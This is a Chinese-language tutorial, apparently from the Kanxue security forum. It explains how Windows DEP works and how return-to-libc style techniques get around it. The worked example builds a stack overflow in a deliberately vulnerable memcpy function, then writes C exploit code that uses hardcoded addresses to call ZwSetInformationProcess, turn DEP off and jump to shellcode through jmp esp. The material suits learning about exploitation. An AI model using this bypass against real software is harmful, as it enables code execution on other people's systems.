采用/NXCOMPAT编译的程序会在文件的PE头中设置IMAGE_DLLCHARACTERISTICS_NX_COMPAT标识,该标识通过可选头中的DllCharacteristics变量进行体现,当DllCharacterstics带有0x100的时候,则表示该程序采用了/NXCOMPAT编译,如下图所示:
当系统中开启了DEP保护机制,此时尽管程序成功跳转到shellcode,也会抛出以下的异常,阻止程序的允许,导致shellcode运行失败。
在DEP保护下溢出失败的根本原因是DEP检测到程序到程序转到非可执行页执行指令了,如果我们让程序跳到一个已经存在的系统函数中结果会是怎么样呢?已经存在的系统函数必然存在于可执行页上,所以此时DEP是不会拦截的,Ret2libc攻击的原理也正是基于此的。

由于DEP不允许我们直接到非可执行页执行指令,我们就需要在其他可执行的位置找到符合我们要求的指令,让这条指令来替我们工作,为了能够控制程序流程,在这条指令执行后,我们还需要一个返回指令,以便收回程序的控制权,然后继续下一步操作,整体流程如下图所示:

简而言之,只要为shellcode中的每条指令都在代码区找到一条替代指令,就可以完成exploit想要的功能了。但是由于该方法难度过大,因此在此思想上,可以使用以下三种方法来达成目标:

通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行;

通过跳转到VirtualProcess函数来将shellcode所在的内存页设置为可执行状态,然后再转入shellcode执行;

通过跳转到VirtualAlloc函数开辟一段具有执行权限的内存空间,然后将shellcode复制到这段内存中执行。


2、ZwSetInformationProcess


一个进程的DEP标识保存在进行内核对象KPROCESS结构体中偏移0x06B的Flags字段上,该字段的类型为_KEXECUTE_OPTIONS,定义如下:
kd> dt _KEXECUTE_OPTIONSnt!_KEXECUTE_OPTIONS +0x000 ExecuteDisable : Pos 0, 1 Bit +0x000 ExecuteEnable : Pos 1, 1 Bit +0x000 DisableThunkEmulation : Pos 2, 1 Bit +0x000 Permanent : Pos 3, 1 Bit +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit +0x000 ImageDispatchEnable : Pos 5, 1 Bit +0x000 Spare : Pos 6, 2 Bits

这些标识中前4个bit与DEP相关,当前进程DEP开启时ExecuteDisable位被置1,当进程DEP关闭时ExecuteEnable位被置1,DisableThunkEmulation是为了兼容ATL程序设置的,Permanent被置1后表示这些标志不能再被修改。真正影响DEP状态的是前两位,所以只需要将Flasg设置为0x02就可以将ExecuteEnable置1。

想要对该位进行设置,可以使用ZwSetInformationProcess函数,该函数定义如下:
NTSTATUS WINAPI ZwSetInformationProcess(__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength);


由此不难知道,如果利用该函数关闭DEP属性,接下来只需要再系统中找到该函数,覆盖的返回地址设为该函数地址,设置好参数的值以及jmp esp的地址就可以实现绕过DEP。由于的exp有00,如果使用strcpy会产生截断,所以改用下面的方式来产生漏洞
char g_szExploit[100] = { 0 }; void test(){ char szStr[0x8] = { 0 }; memcpy(szStr, g_szExploit, sizeof(g_szExploit));}

漏洞利用代码,则如下:
int main(){ DWORD dwFuncAddr = 0x7C92E62D; // ZwSetInformationProcess函数地址 DWORD dwRetAddr = 0x7C961EED; // jmp esp地址 LoadLibrary("user32.dll"); // MessageBox函数在该中,需要将其导入才可以调用 *(PDWORD)g_szExploit = 0x2; // 参数三的值 memset(g_szExploit + 4, 'A', 0x8); *(PDWORD)(g_szExploit + 0xC) = dwFuncAddr; // 跳转到ZwSetInformationProcess函数地址 *(PDWORD)(g_szExploit + 0x10) = dwRetAddr; // 覆盖返回地址(jmp esp) *(PDWORD)(g_szExploit + 0x14) = -1; // 4个参数 *(PDWORD)(g_szExploit + 0x18) = 0x22; *(PDWORD)(g_szExploit + 0x1C) = (DWORD)g_szExploit; *(PDWORD)(g_szExploit + 0x20) = 0x4; memcpy(g_szExploit + 0x24, g_szShellCode, sizeof(g_szShellCode)); // 保存ShellCode test(); system("pause"); return 0;}

编译程序后放入调试器,运行到memcpy之后可以看到此时返回地址已经被覆盖成ZwSetInformationProcess函数地址,且随后参数也已经正确传递。
在ZwSetProcess函数处下断点,程序成功断下,接下来就会进入内核设置DEP属性。
当程序返回用户层的时候,进程的DEP已经被关闭,此时的esp指向的是jmp esp指令的地址。
继续运行就会执行jmp esp指令,跳转到shellcode,此时继续执行shellcode就会成功运行,不会触发DEP的机制。
剩下两种方法和该方法的做法一样,根据需要布置到栈空间就好。另外,如果进程中有可读可写可执行的区域,也可以将shellcode写入该区域,然后让程序跳转到该区域执行也可以绕过DEP机制。



参考资料:

《0day安全:软件漏洞分析技术》




 


看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区



# 往期推荐

1.CVE-2019-10999复现学习

2.内核漏洞学习-HEVD-UninitializedStackVariable

3.记录一次vmp2.xdemo的分析

4.内核漏洞学习-HEVD-NullPointerDereference

5.Golang版本简易fuzzer及debugger实践

6.Windows内核逆向——<中断处理 从硬件机制到用户驱动接管>






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存